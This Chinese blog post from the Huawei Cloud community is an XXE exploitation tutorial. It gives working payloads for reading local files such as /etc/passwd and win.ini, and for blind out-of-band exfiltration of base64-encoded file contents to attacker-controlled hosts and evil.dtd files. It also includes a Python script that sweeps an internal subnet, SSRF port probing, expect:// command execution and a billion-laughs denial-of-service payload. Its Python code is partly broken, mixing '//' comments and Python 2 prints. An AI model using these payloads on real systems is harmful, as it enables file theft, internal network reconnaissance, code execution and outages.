【XXE漏洞专题】利用

举报
黑色地带(崛起) 发表于 2023/02/17 17:34:17 2023/02/17
【摘要】 【XXE漏洞专题】利用

【XXE漏洞专题】利用

利用:

1、任意文件读取

1.1、原理:

因为外部实体支持伪协议,利用伪协议进行读取


利用XXE漏洞读取目标文件内容,读取/etc/password文件

xml协议不支持命令执行,php协议可以,具体命令执行根据协议功能确定

— — — — — —

1.2有回显:

通过外部实体调用file://函数读取本地文件,或建立DTD文件进行远程调用

(后面要填写当前文件夹与目标文件夹的相对路径)

— — — — — —

读取本地文件

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY file SYSTEM  "file:///c:/windows/win.ini">]>
<user>
  <password>&file;</password>
</user>

(foo相当于自己命名的函数名,没什么实际意义)

— — — — — —

建立DTD文件进行远程调用

  <!DOCTYPE foo [
  <!ENTITY  % xxe SYSTEM "http://192.168.1.2/xxe/evil2.dtd" >
  %xxe;]>
  <foo>&evil;</foo>
  
  其中外部链接的evil.dtd中内容为:
  <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

— — — — — —

1.3、无回显:


XXE有回显就直接利用,反之,就要利用Blind_OOB_XXE,eg:外部DTD文件


建立一个dtd文件,将.dtd文件存在远程服务器(或VPS)上

恶意执行代码被服务器处理,向攻击者远程服务器发送请求,查找恶意的DTD文件

服务器获取该文件并执行其中的恶意命令


(1)构建一条带外信道提取数据

(2)将文件内容发送到远程服务器,然后读取

(3)读取文件,并发送到服务器的上



(1)示例一:

通过创建index.php来构建一条带外信道提取数据

//创建test.php

<?php 
file_put_contents("test.txt", $_GET['file']) ; 
?>
— — — — — —

//创建index.php

<?php 
$xml=<<<EOF 
<?xml version="1.0"?> 
<!DOCTYPE ANY[ 
<!ENTITY % file SYSTEM "file:///C:/test.txt"> 
<!ENTITY % remote SYSTEM "http://localhost/test.xml"> 
%remote;
%all;
%send; 
]> 
EOF; 
$data = simplexml_load_string($xml) ; 
echo "<pre>" ; 
print_r($data) ; 
?>
— — — — — —

//创建test.xml

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">


当访问index.php时,服务器(存在漏洞)会读取text.txt,并发送给攻击者服务器上的test.php,并把读取的数据保存到本地的test.txt中。

(2)示例二:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.18.23/xxe/xxe2/test.dtd">
%remote;%int;%send;
]>
— — — — — —

//三个参数实体 %remote;%int;%send

%remote 调用后请求远程服务器上的 test.dtd(相当于包含)

%int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,

将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %)

再调用 %send,数据发送到我们的远程 vps 上

— — — — — —



test.dtd(进行了base64编码)

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windwos/win.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.18.23?p=%file;'>">

查看数据日志文件信息(知道日志存储的位置),第二个请求文件内容包含我们的命令,可以看到base64编码后的数据,也确认了OOB XXE漏洞的存在。

编码也是为了不破坏原本的XML语法,不编码会报错。


(3)示例三:

可以将文件内容发送到远程服务器,然后读取

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
        <!ENTITY % f SYSTEM "http://yourhost/evil.dtd">
        %f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);

— — — — — —

evil.dtd(远程服务器)

<!ENTITY b SYSTEM "file:///etc/passwd">

(4)示例四:

先使用php://filter获取目标文件的内容

将内容以http请求发送到接收数据的服务器(攻击服务器)

<?xml version=”1.0”?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> # /etc/issue
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>
— — — — — —

//evil.dtd

(%号要进行实体编码成&#x25)

<!ENTITY % all
“<!ENTITY &#x25; send SYSTEM ‘http://xxx.xxx.xxx/?%file;’>”
>
%all;

有报错直接查看报错信息

无报错访问目标服务器的日志信息,经过base64编码过的数据,对其解码

— — — — — —

2、HTTP 内网主机探测

2.1、前提:

存在 XXE 漏洞的服务器

— — — — — —

2.2、读取

先利用 file 协议读取存在XXE漏洞服务器的网络配置文件

eg(Linux): /etc/network/interfaces 或 /proc/net/arp 或者/etc/host 文件

— — — — — —

2.3、示例

(需要基础的python知识,科班应该都没什么问题)

//(调用自己编写的请求和编码模块)

import requests
import base64

— — — — — —

//(1)定义创建XML的函数build_xml

def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

— — — — — —

//(2)定义发送自定义函数send_xml(数据、编码…)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://110.110.110.110/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2]         //分开以获取Base64编码值
    print coded_string        //打印base64编码值
for i in range(1, 255):        //循环
    try:
        i = str(i)
        ip = '10.0.0.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
continue

— — — — — —


3、开放端口扫描

3.1、读取配置文件

通过URL将请求指向/etc/passwd配置文件,并返回文件内容

3.2、发送请求

使用URL强制服务器向指定端口发送GET请求(SSRF服务器端请求伪造)

尝试与端口建立连接,根据响应时间/长度判断端口是否开启

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>        <!--看注(2)-->
   <core id="test1">        <!--看注(3)-->
      <author>mike</author>
      <title>XML</title>
      <category>root</category>
      <price>30.00</price>
      <date>2022-05-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

<!--英文看注(1)-->


3.3、注:

(1)英语注释

author作者、title标题、category类别、price价格、date日期、description描述

— — — — — —

(2)XML-Catalog

XML-Catalog 关于 XML 文件如何引用外部资源的控制

XML Catalog 是由来自一个或者多个 catalog 条目文件组成的 xml 文件,其保存了要校验的 xml 文件以及对应的 xsd 文件的映射,运行时自动将它们关联起来,从而实现对 xml 文件的校验

— — — — — —

(3)XML-core

XML-core是一组类,可以更轻松地使用浏览器和节点中的XML。我们希望能够在浏览器中验证Xades,具体所以我们可以验证欧盟信任列表上的签名。

— — — — — —

4、远程代码执行

4.1、前提:

存在XXE漏洞

PHP expect被加载到脆弱的系统或XML处理器上

expect:// — 处理交互式的流,由 expect:// 封装协议打开的数据流 PTY 通过提供了对进程 stdio、stdout 和 stderr 的访问。

— — — — — —

4.2、属性:

允许读取 Yes
允许写入 Yes
允许添加 Yes

— — — — — —

4.3、示例:

<?xml version="1.0"?>
<!DOCTYPE GVI [ 
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>        <!--看注(2)-->
   <core id="test1">        <!--看注(3)-->
      <author>mike</author>
      <title>XML</title>
      <category>root</category>
      <price>30.00</price>
      <date>2022-05-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

<!--英文看注(1)-->



— — — — — —


5、拒绝服务攻击

5.1、原理:

大多数XML解析器在解析XML文档时会将其保留在内存中,如果构造恶意的XML实体文件,以耗尽服务器的可用内存,造成了拒绝服务器攻击。

— — — — — —

5.2、a billion laughs attack

介绍:

是一种 denial-of-service(DoS)攻击,它主要作用于XML文档解析器。它也被称为指数实体扩展攻击,是一种名副其实的XML炸弹。

— — — — — —

原理:通过恶意创建一系列递归的XML定义,在内存中产生上十亿的特定字符串,并被XML解析器保留在内存中,以耗尽服务器可用内存,从而造成拒绝服务攻击。

— — — — — —

在XMl中定义了一个实体lol9,它的值包含了十个实体lol8的值

而每个lol8又包含了十个lol7的值

……

最后产生10亿个“lol”字符串,占用内存约高达3GB。


<?xml version="1.0"?>
 <!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
 ]>
 <lolz>&lol9;</lolz>


【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。